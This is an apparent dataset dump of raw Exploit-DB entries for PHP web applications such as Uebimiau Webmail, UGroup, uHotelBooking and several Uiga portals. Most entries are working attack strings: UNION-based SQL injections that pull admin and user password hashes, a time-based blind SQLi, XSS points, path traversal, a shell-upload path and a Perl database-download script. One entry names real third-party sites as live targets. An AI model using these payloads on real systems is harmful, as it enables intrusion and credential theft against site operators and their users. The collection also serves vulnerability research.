deardaniel/secdata-raw huggingface dataset:
Exploit-DB #11906
Description: Uebimiau Webmail 2.7.2 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-03-27
Author: cp77fk4r

Exploit:
# Exploit Title: Uebimiau Webmail <= 2.7.2 Multiple Vulnerabilities.
# Date: 13/03/10
# Author: cp77fk4r | empty0page[SHIFT+2]gmail.com<http://gmail.com> | www.DigitalWhisper.co.il<http://www.DigitalWhisper.co.il>
# Software Link: http://www.uebimiau.org/
# Version: <= 2.7.2
# Tested on: PHP
#
##[Cross Site Scripting]
Cross-Site Scripting attacks are a type of injection problem, in which malicious scripts are injected into the otherwise benign and trusted web sites. Cross-site scripting (XSS) attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user in the output it generates without validating or encoding it. (OWASP)
#
http://[SERVER]/webmail/index.php?lid=en_US&tid=clean&f_user=&six=3&f_email=[YOUR_XSS_HERE]
#
#
##[Directory Listing:]
#
http://[SERVER]/webmail/inc
http://[SERVER]/webmail/images/
http://[SERVER]/webmail/extra/
http://[SERVER]/webmail/themes/
http://[SERVER]/webmail/smarty
#
##[Full Path Disclosure:]
Full Path Disclosure (FPD) vulnerabilities enable the attacker to see the path to the webroot/file. e.g.: /home/omg/htdocs/file/. Certain vulnerabilities, such as using the load_file() (within a SQL Injection) query to view the page source, require the attacker to have the full path to the file they wish to view. (OWASP)
#
The following pages require files without checking if they exist. loading them will return a Fatal Errors and Warnings ("No such file or directory") with includes their Full-Path:
#
http://[SERVER]/webmail/inc/class.uebimiau.php
http://[SERVER]/webmail/inc/class.uebimiau_mail.php
http://[SERVER]/webmail/inc/config.php
http://[SERVER]/webmail/inc/inc.php
http://[SERVER]/webmail/smarty/Smarty_Compiler.class.php
http://[SERVER]/webmail/smarty/plugins/function.html_select_date.php
http://[SERVER]/webmail/smarty/plugins/function.html_select_time.php
http://[SERVER]/webmail/smarty/plugins/modifier.date_format.php
#
#
[e0f]
Exploit-DB #30633
Description: Uebimiau Webmail 2.7.x - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-10-03
Author: Ivan Sanches

Exploit:
source: https://www.securityfocus.com/bid/25912/info

UebiMiau is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this vulnerability may allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/index.php?lid=de&tid=modern_blue&f_user=&six=&f_email=[XSS]
Exploit-DB #9493
Description: Uebimiau Webmail 3.2.0-2.0 - Arbitrary Database Disclosure
Type: webapps
Platform: php
Date: 2009-08-24
Author: Septemb0x

Exploit:
##################################################
[+]Script Name : Uebimiau Webmail v3.2.0-2.0
[+]Bug Type : Arbitrary Admins Database Disclosure Vulnerability
[+]D0rk : "Uebimiau Webmail v3.2.0-2.0"
[+]Author : Septemb0x
[+]Greetz : BHDR & BARCOD3 & MUHADRAM  - Thanks : www.gonulerleri.org
[+]Note :  TÃ¼m MÃ¼slÃ¼man CamiasÄ±na HayÄ±rlÄ± Ramazanlar Dilerim...
##################################################
[+]Examples :
 
1.  http://ifcacareer.com/mail/inc/database/system_admin/admin.ucf
2.  http://krunt.org/webmail/inc/database/system_admin/admin.ucf
3.  http://www.hostsalive.com/webmail/inc/database/system_admin/admin.ucf
##################################################
[+]EXPLOIT ; http://[Target]/[path]/inc/database/system_admin/admin.ucf
[+]GET ; username:password(md5)
[+]LOGIN ; http://[Target]/[path]/admin/login.php
##################################################

# milw0rm.com [2009-08-24]
Exploit-DB #11666
Description: Uebimiau Webmail 3.2.0-2.0 - Email Disclosure
Type: webapps
Platform: php
Date: 2010-03-09
Author: Z3r0c0re_ R4vax

Exploit:
# Exploit Title: Uebimiau Webmail v3.2.0-2.0 | Email Disclosure
# Date: 09 March 2010
# Author: Z3r0c0re, R4vax
# Software Link: http://www.uebimiau.org/download.php
# Version: 3.2.0-2.0
# Tested on: php
# Code :
*********************************************************
* Uebimiau Webmail Email Disclosure *
*********************************************************
* D0rk:	 *
* "Uebimiau Webmail v3.2.0-2.0"	 *
*********************************************************
* Vuln:	 *
* http://[host]/[path]/inc/database	 *
*********************************************************
* Desc:	 *
* accessing these directores lets you view the users- *
* inboxes and sent emails and any other folders the- *
* user may have.	 *
*********************************************************
Exploit-DB #15207
Description: Uebimiau Webmail 3.2.0-2.0 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-10-04
Author: blake

Exploit:
# Exploit Title: Uebimiau Webmail Local File Inclusion
# Date: 10-04-10
# Author: Blake
# Software Link: http://sourceforge.net/projects/t-dahmail/files/latest/Uebimiau_3.2.0_2.0_Alpha.zip/download
# Version: 3.2.0-2.0
# Tested on: Windows XP SP3 running xampp lite

The stage parameter is not properly sanitized.

POC:
http://127.0.0.1/webmail/admin/install/index.php?stage=../../../../../../../../../boot.ini%00&lid=
Exploit-DB #11261
Description: UGiA PHP UPLOADER 0.2 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-01-26
Author: indoushka

Exploit:
========================================================================================                  
| # Title        : UGiA PHP UPLOADER V0.2 Shell Upload Vulnerability      
| # Author       : indoushka                                                               
| # email        : indoushka@hotmail.com                                                   
| # Home         : www.iq-ty.com/vb                                                                             
| # Script Home  : sourceforge.net/projects/upu/files                                                                                                                           
| # Dork         : Powered by UGiA PHP UPLOADER V0.2                                        
| # Tested on    : windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       
| # Bug          : Shell Upload                                                                   
======================      Exploit By indoushka       =================================
# Exploit  : 
 
 1- http://127.0.0.1/upload/test.php
 
 2- http://127.0.0.1/upload/upu/files/76a61a51e512be4219080be04be34c04.php
 
================================   Dz-Ghost Team   ========================================================
Greetz : 
Exploit-db Team (loneferret+Exploits+dookie2000ca)
all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 * www.hackteach.org
Rafik (Tinjah.com) * Yashar (sc0rpion.ir) * Silitoad * redda * mourad (dgsn.dz) * www.cyber-mirror.org
www.forums.ibb7.com * www.owned-m.com * Stake (v4-team.com) * www.dev-chat.com  * Cyb3r IntRue (avengers team) 
* www.securityreason.com * www.packetstormsecurity.org * www.best-sec.net * www.zone-h.net * www.m-y.cc 
* www.hacker.ps * no-exploit.com * www.bug-blog.de * www.bawassil.com * www.host4ll.com * www.xp10.me 
www.forums.soqor.net * www.alkrsan.net * blackc0der (www.forum.aria-security.com) * www.kadmiwe.net
SoldierOfAllah (www.m4r0c-s3curity.cc) * www.arhack.net * www.google.com * www.sec-eviles.com    
www.mriraq.com * www.dzh4cker.l9l.org * www.goyelang.cn * www.arabic-m.com * www.securitywall.org 
r1z (www.sec-r1z.com) * www.zac003.persiangig.ir * www.0xblackhat.ir * www.mormoroth.net 
------------------------------------------------------------------------------------------------------------
Exploit-DB #11484
Description: uGround 1.0b - SQL Injection
Type: webapps
Platform: php
Date: 2010-02-17
Author: Easy Laster

Exploit:
 ########################################################################
 ##uGround v1.0b SQL Injection                                         ##
 ########################################################################
 ########################################################################
 ## _                     _     _                   _                  ##
 ##| |_ ___ ___ _____ ___|_|___| |_ ___ ___ ___ ___| |_                ##
 ##|  _| -_| .'|     |___| |   |  _| -_|  _|   | -_|  _|               ##
 ##|_| |___|__,|_|_|_|   |_|_|_|_| |___|_| |_|_|___|_|                 ##
 ##                                                                    ##
 ########################################################################
##########################################################################
#Script: uGround v1.0b SQL Injection news.php                            #
#Vulnerabilities [ SQL Injection ]                                       #
#Language: [ PHP ]                                                       #
#Download: [ buy this script ]                                           #
#Founder: [ ea$y laster ]                                                #
#Peace to [ -tmh- ,0qwl ,Crypter ,Dr.ChAoS ,dremicz ,eddy14 ,HANNIBAL ]  #
#[ Lidloses_Auge ,n00bor, Rip ,Sens0r ,-=Player=-,silent vapor]          #
#Price: [ Commercial License EUR unknown                                 #
                                           #
#############################################################################
#http://server/index.html?download=-11111111+union+select+1,  #
#concat%28u_pass,0x3a,u_user%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 #
#,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,37,38,39,40,41,42+from+   #
#ug_user#                                                                   #
#############################################################################
Exploit-DB #26626
Description: UGroup 2.6.2 - 'forum.php?FORUM_ID' SQL Injection
Type: webapps
Platform: php
Date: 2005-11-28
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15591/info

UGroup is prone to SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

/forum.php?FORUM_ID=[SQL]
Exploit-DB #26627
Description: UGroup 2.6.2 - 'topic.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2005-11-28
Author: r0t

Exploit:
ource: https://www.securityfocus.com/bid/15591/info
 
UGroup is prone to SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.
 
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

/topic.php?CAT_ID=1&FORUM_ID=1&TOPIC_ID=[SQL]
/topic.php?CAT_ID=1&FORUM_ID=[SQL]
/topic.php?CAT_ID=[SQL]
Exploit-DB #8609
Description: Uguestbook 1.0b - 'Guestbook.mdb' Arbitrary Database Disclosure
Type: webapps
Platform: php
Date: 2009-05-04
Author: Cyber-Zone

Exploit:
#!/usr/bin/perl
#
#
# Uguestbook 1.0
# mdb-database/guestbook.mdb
#
#
#
#
#
#
#
use LWP::Simple;
use LWP::UserAgent;

print "\tUguestbook 1.0 Arbitrary Database Disclosure Exploit\n";

print "\t****************************************************************\n";
print "\t*      Found And Exploited By : Cyber-Zone (ABDELKHALEK)       *\n";
print "\t*           E-mail : Paradis_des_fous[at]hotmail.fr            *\n";
print "\t*          Home : WwW.IQ-TY.CoM , WwW.No-Exploit.CoM           *\n";
print "\t*               From : MoroccO Figuig/Oujda City               *\n";
print "\t****************************************************************\n\n\n\n";
if(@ARGV < 1)
{
&help; exit();
}
sub help()
{
print "[X] Usage : perl $0 site \n";
print "[X] Exemple : perl $0 www.site.com \n";
}
($site) = @ARGV;
print("Please Wait ! Connecting To The Server ......\n\n");
sleep(5);
$database = "mdb-database/guestbook.mdb";
my $exploit = "http://" . $site . "/" . $database;
print("Searching For file ...\n\n");
sleep(3);
$doexploit=get $exploit;
if($doexploit){
print("..........................File Contents...........................\n");
print("$doexploit\n");
print("..............................EOF.................................\n");
}
else {
help();
exit;
}

# milw0rm.com [2009-05-04]
Exploit-DB #46587
Description: uHotelBooking System - 'system_page' SQL Injection
Type: webapps
Platform: php
Date: 2019-03-21
Author: Ahmet Ümit BAYRAM

Exploit:
# Exploit Title: uHotelBooking System - 'system_page' SQL Injection
# Date: 21.03.2019
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor Homepage: https://www.hotel-booking-script.com
# Demo Site: https://www.hotel-booking-script.com/demo/
# Version: Lastest
# Tested on: Kali Linux
# CVE: N/A
# Description: uHotelBooking is a powerful hotel management and online
booking/reservation site script.

----- PoC: SQLi -----

Request: http://localhost/[PATH]/index.php
Vulnerable Parameter: system_page (GET)
Attack Pattern:
http://locahost/[PATH]/index.php?page=3&system_page=0'XOR(if(now()=sysdate()%2Csleep(5)%2C0))XOR'Z
Exploit-DB #11846
Description: Uiga Business Portal - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-03-23
Author: Easy Laster

Exploit:
----------------------------Information------------------------------------------------
+Name : Uiga Business Portal <= index.php SQL Injection Vulnerability
+Autor : Easy Laster
+Date   : 23.03.2010
+Script  : Uiga Business Portal
+Download : http://www.scriptdevelopers.net/download/uigabusinessportal.zip
+Price : for free
+Language : PHP
+Discovered by Easy Laster
+Security Group 4004-Security-Project
+Greetz to Team-Internet ,Underground Agents
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr Chaos,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,Ic3Drag0n,novaca!ne.

---------------------------------------------------------------------------------------
                                                                                     
 ___ ___ ___ ___                         _ _           _____           _         _   
| | |   |   | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___|  _  |___ ___  |_|___ ___| |_ 
|_  | | | | |_  |___|_ -| -_|  _| | |  _| |  _| | |___|   __|  _| . | | | -_|  _|  _|
  |_|___|___| |_|   |___|___|___|___|_| |_|_| |_  |   |__|  |_| |___|_| |___|___|_|  
                                              |___|                 |___|            


----------------------------------------------------------------------------------------
+Vulnerability : http://www.site.com/uigabusinessportal/index.php?view=photos&id=


+Exploitable   : http://www.site.com/forum/uigabusinessportal/index.php?view=photos&id=1
+union+select+1,2,concat(user_id,0x3a,username,0x3a,password),4,5+from+tbl_user+where+user_id=1


-----------------------------------------------------------------------------------------
Exploit-DB #11357
Description: Uiga Business Portal - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-02-07
Author: Sioma Labs

Exploit:
# Exploit Title: Uiga Business Portal SQL/ XSS Vulnerability
# Date: 8/2/2010
# Author: Sioma Labs
# Site : http://www.scriptdevelopers.net 
# Software Link: http://www.scriptdevelopers.net/download/uigapersonalportal.zip
# Version: N/A
# Tested on: 
	
	Linux 
	
	OS = Cent OS 5.4
	Server = Apache/2.2.3
	SQLDB = MYSQL v5.0.77 
	
	Windows
	
	OS = Windows XPsp2
	App = Wamp
		

# CVE : N/A
# Code : N/A


----------------------------------------------------
 __ _                           __       _         
/ _(_) ___  _ __ ___   __ _    / /  __ _| |__  ___ 
\ \| |/ _ \| '_ ` _ \ / _` |  / /  / _` | '_ \/ __|
_\ \ | (_) | | | | | | (_| | / /___ (_| | |_) \__ \
\__/_|\___/|_| |_| |_|\__,_| \____/\__,_|_.__/|___/
                                                   
----------------------------------------------------



SQL Injection Vulnerability

UserAge : [host]/blog/index.php?view=noentryid&noentryid=[SQLi]



- User SQLi ->
--------------

Ex : http://server/ulgabusinessportak/blog/index.php?view=noentryid&noentryid=-20+Union+All+Select+1,2,3,4,5,group_concat(user_id,0x3a,username,0x3a,password),7,8,9,10+from+tbl_user--


- Admin SQLi ->
---------------

Ex : http://server/ulgabusinessportak/index2.php?c=29&p=-45+Union+All+Select 1,group_concat(admin_id,0x3a,admin_name,0x3a,admin_password),3,4,5+from+admin--


- Or Choice By User ID ->
--------------------------

http://server/ulgabusinessportak/blog/index.php?view=noentryid&noentryid=-20+Union+All+select+1,2,3,4,5,group_concat(username,0x3a,password),7,8,9,10+from+tbl_user+where+user_id=1--

*/ Change the last User ID 

#######################################################################################################



XSS Vulnerability
--------

- You can inject html with the comment box

Test Link
http://server/ulgabusinessportak/blog/index.php?view=noentryid&noentryid=20


Inject "<script>alert("XSS")</script>" into the portal using Comment Box



# Sioma Agent -154
# http://siomalabs.com
Exploit-DB #11619
Description: Uiga Church Portal - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-03-02
Author: Easy Laster

Exploit:
----------------------------Information------------------------------------------------
+Name : Uiga Church Portal index.php SQL Injection
+Autor : Easy Laster
+Date   : 03.03.2010
+Script  : Uiga Church Portal
+Download : http://www.uiga.com/downloads/ucp_pro.zip
+Price : 00,00$
+Language :PHP
+Discovered by Easy Laster
+Security Group 4004-Security-Project
+Greetz to Team-Internet ,Underground Agents
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr Chaos,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,Damian,novaca!ne.
---------------------------------------------------------------------------------------
                                                                                     
 ___ ___ ___ ___                         _ _           _____           _         _   
| | |   |   | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___|  _  |___ ___  |_|___ ___| |_ 
|_  | | | | |_  |___|_ -| -_|  _| | |  _| |  _| | |___|   __|  _| . | | | -_|  _|  _|
  |_|___|___| |_|   |___|___|___|___|_| |_|_| |_  |   |__|  |_| |___|_| |___|___|_|  
                                              |___|                 |___|            


----------------------------------------------------------------------------------------
+Vulnerability : http://www.site.com/portal/index.php?view=read&id=
+Exploitable   : http://www.site.com/portal/index.php?view=read&id=111111111+union+
select+1,concat(user_name,0x3a,password),3,4,5,6,7,8,9,10,11,12+from+tbl_user
+where+user_id=1--
-----------------------------------------------------------------------------------------
Exploit-DB #9535
Description: Uiga Church Portal - 'year' SQL Injection
Type: webapps
Platform: php
Date: 2009-08-27
Author: Mr.SQL

Exploit:
###############################################################
#################### Viva IslaM Viva IslaM ####################
##
## Remote SQL Injection Vulnerability ( index.php view )
##
## Uiga Church Portal
##
## http://www.scriptdevelopers.net/products/ucp.html
##
###############################################################
###############################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.55a.NeT
##
## Email  : SQL@Hotmail.iT
##
########################
########################
##
## -[[: Exploite :]]-
##
## www.TraGeT.CoM/index.php?view=calendar&month=1&year=1+and+1=0+union+select+1,2,3,4,5,concat_ws(0x3a,@@version,user(),database()),7--
##
########################
########################
GET THE INFO IN THE CALENDAR : )

#########################################################################################################
#########################################################################################################
                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
                                        
:: HaCkEr_EGy :: Dark MaSTer  :: His0k4 :: User-Ma$keN :: ALwHeD :: Ghost Hacker :: MuslimS HaCkErS ::
#########################################################################################################
#########################################################################################################

# milw0rm.com [2009-08-27]
Exploit-DB #11600
Description: Uiga Fan Club - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-02-28
Author: Easy Laster

Exploit:
----------------------------Information------------------------------------------------
+Name : Uigafanclub index.php SQL Injection
+Autor : Easy Laster
+Date   : 28.02.2010
+Script  : Uigafanclub
+Language :PHP
+Discovered by Easy Laster
+Security Group 4004-Security-Project
+Greetz to Team-Internet ,Underground Agents
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr Chaos,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,Damian,novaca!ne.

---------------------------------------------------------------------------------------
                                                                                     
 ___ ___ ___ ___                         _ _           _____           _         _   
| | |   |   | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___|  _  |___ ___  |_|___ ___| |_ 
|_  | | | | |_  |___|_ -| -_|  _| | |  _| |  _| | |___|   __|  _| . | | | -_|  _|  _|
  |_|___|___| |_|   |___|___|___|___|_| |_|_| |_  |   |__|  |_| |___|_| |___|___|_|  
                                              |___|                 |___|            


----------------------------------------------------------------------------------------
+Vulnerability : www.site.com/Uigafanclub/index.php?view=photos&id=
+Exploitable   : www.site.com/Uigafanclub/index.php?view=photos&id=-9999+
Union+Select+1,2,concat(admin_name,0x3a,admin_password),4,5+from+admin--
-----------------------------------------------------------------------------------------
Exploit-DB #11837
Description: Uiga Fan Club - SQL Injection
Type: webapps
Platform: php
Date: 2010-03-22
Author: Sioma Labs

Exploit:
# Exploit Title: Uiga Fan Club SQL Injection Vulnerability 
# Date: 22/03/2010 
# Author: Sioma Labs
# Site : http://www.scriptdevelopers.net/products/ufc.html
# Software Link: http://www.scriptdevelopers.net/download/uigafanclub.zip
# Version: N/A
# Tested on: Win (Wamp)
# CVE : N/A

 __ _                           __       _         
/ _(_) ___  _ __ ___   __ _    / /  __ _| |__  ___ 
\ \| |/ _ \| '_ ` _ \ / _` |  / /  / _` | '_ \/ __|
_\ \ | (_) | | | | | | (_| | / /___ (_| | |_) \__ \
\__/_|\___/|_| |_| |_|\__,_| \____/\__,_|_.__/|___/
                                                   
												   
Exploit : 
http://site/index.php?view=photos&id=[SQLi]


Example : 
http://localhost/uigafan/index.php?view=photos&id=-7 Union Select 1,2,group_concat(admin_id,0x3a,admin_name,0x3a,admin_password),4,5 from admin--


#Sioma Labs
#siomalabs.com
#Sioma Agent 154